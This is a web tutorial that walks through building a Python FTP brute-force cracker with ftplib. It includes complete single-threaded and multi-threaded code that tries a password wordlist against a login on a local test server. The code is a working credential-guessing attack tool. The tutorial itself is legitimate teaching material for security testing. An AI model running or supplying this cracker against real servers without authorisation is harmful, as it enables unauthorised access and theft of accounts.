How to Brute Force FTP Servers in Python

Learning how to crack FTP servers using dictionary attack (brute-forcing with a wordlist) with the help of ftplib module in Python.
Abdou Rockikz · 6 min read · Updated may 2020 · Ethical Hacking


A brute-force attack consists of an attack that submits many passwords with the hope of guessing correctly. In this tutorial, you will learn how you can brute force FTP servers in Python.

We will be using ftplib module that comes built-in in Python. However, we're going to use colorama for just printing in colors in Python:

pip3 install colorama

Now, for demonstration purposes, I have set up an FTP server in my local network on a machine that runs on Linux. More precisely, I have installed vsftpd (very secure FTP daemon) which is an FTP server for Unix-like systems, if you want to do that as well, here are the commands I used to get it up and ready:

[email protected]:~# sudo apt-get update
[email protected]:~# sudo apt-get install vsftpd
[email protected]:~# sudo service vsftpd start

And then make sure you have some user and the local_enable=YES configuration is set on the /etc/vsftpd.conf file.

Let's get started:

import ftplib
from colorama import Fore, init # for fancy colors, nothing else

# init the console for colors (Windows)
# init()
# hostname or IP address of the FTP server
host = "192.168.1.113"
# username of the FTP server, root as default for linux
user = "test"
# port of FTP, aka 21
port = 21

So the local server is located at 192.168.1.113, I have also created a username "test", and then we specify the port of FTP, which is 21.

Now let's write the core function that accepts a password in arguments and returns whether the credentials are correct:

def is_correct(password):
    # initialize the FTP server object
    server = ftplib.FTP()
    print(f"[!] Trying", password)
    try:
        # tries to connect to FTP server with a timeout of 5
        server.connect(host, port, timeout=5)
        # login using the credentials (user & password)
        server.login(user, password)
    except ftplib.error_perm:
        # login failed, wrong credentials
        return False
    else:
        # correct credentials
        print(f"{Fore.GREEN}[+] Found credentials:", password, Fore.RESET)
        return True

Nothing special, we initialize the FTP server object using ftplib.FTP() and then we connect to that host and try to login, this will raise an exception whenever the credentials are incorrect, so if it's raised, we'll just return False, and True otherwise.

We gonna use a list of known passwords, feel free to use any, but in this tutorial, we gonna use nmap password list that contain about 5000 passwords, if you're on Kali linux, it is located in "/usr/share/wordlists/nmap.lst", otherwise, get it here.

Once you have it, put it in the current directory and name it wordlist.txt and use the following code:

# read the wordlist of passwords
passwords = open("wordlist.txt").read().split("\n")
print("[+] Passwords to try:", len(passwords))

Now all we have to do, is run the above function on all of these passwords:

# iterate over passwords one by one
# if the password is found, break out of the loop
for password in passwords:
    if is_correct(password):
        break

Now this code is okey, but it is very slow, it uses only one thread that attempts an FTP connection on each password sequentially.

Related: How to Make a Subdomain Scanner in Python.

Let's use threads to accelerate this process, the following code is the complete one that uses multi-threading:

import ftplib
from threading import Thread
import queue
from colorama import Fore, init # for fancy colors, nothing else

# init the console for colors (for Windows)
# init()
# initialize the queue
q = queue.Queue()
# number of threads to spawn
n_threads = 30
# hostname or IP address of the FTP server
host = "192.168.1.113"
# username of the FTP server, root as default for linux
user = "test"
# port of FTP, aka 21
port = 21

def connect_ftp():
    global q
    while True:
        # get the password from the queue
        password = q.get()
        # initialize the FTP server object
        server = ftplib.FTP()
        print("[!] Trying", password)
        try:
            # tries to connect to FTP server with a timeout of 5
            server.connect(host, port, timeout=5)
            # login using the credentials (user & password)
            server.login(user, password)
        except ftplib.error_perm:
            # login failed, wrong credentials
            pass
        else:
            # correct credentials
            print(f"{Fore.GREEN}[+] Found credentials: ")
            print(f"\tHost: {host}")
            print(f"\tUser: {user}")
            print(f"\tPassword: {password}{Fore.RESET}")
            # we found the password, let's clear the queue
            with q.mutex:
                q.queue.clear()
                q.all_tasks_done.notify_all()
                q.unfinished_tasks = 0
        finally:
            # notify the queue that the task is completed for this password
            q.task_done()

# read the wordlist of passwords
passwords = open("wordlist.txt").read().split("\n")
print("[+] Passwords to try:", len(passwords))
# put all passwords to the queue
for password in passwords:
    q.put(password)
# create `n_threads` that runs that function
for t in range(n_threads):
    thread = Thread(target=connect_ftp)
    # will end when the main thread end
    thread.daemon = True
    thread.start()
# wait for the queue to be empty
q.join()

Great, it is quite similar to the previous one, but we are using a queue here, that is filled with the list of passwords in the beginning, and in the core function that's executed by those threads, we're getting a password from the queue and try to login with it. If the password is correct, then we need to finish brute-forcing, a safe way to do that is to clear the queue, and that's what we're doing.

Now if you're not sure how you can use threading with queues, check this tutorial for detailed information.

Here is a little screenshot after my attempt on my local machine:

Example output of brute-forcing ftp servers in PythonPretty cool, we're done ! Now try to mess with n_threads parameter and see if you can further improve the speed of the cracker.

DISCLAIMER: Use this attack on a machine that you have permission to test, otherwise we are not responsible for any harm you do to any one.

If you're interested in brute forcing SSH servers instead, head to this tutorial.

Related: How to Brute Force ZIP File Passwords in Python.

Happy Hacking ♥

View Full Code
Sharing is caring!



Read Also





Comment panel

   
Comment system is still in Beta, if you find any bug, please consider contacting us here.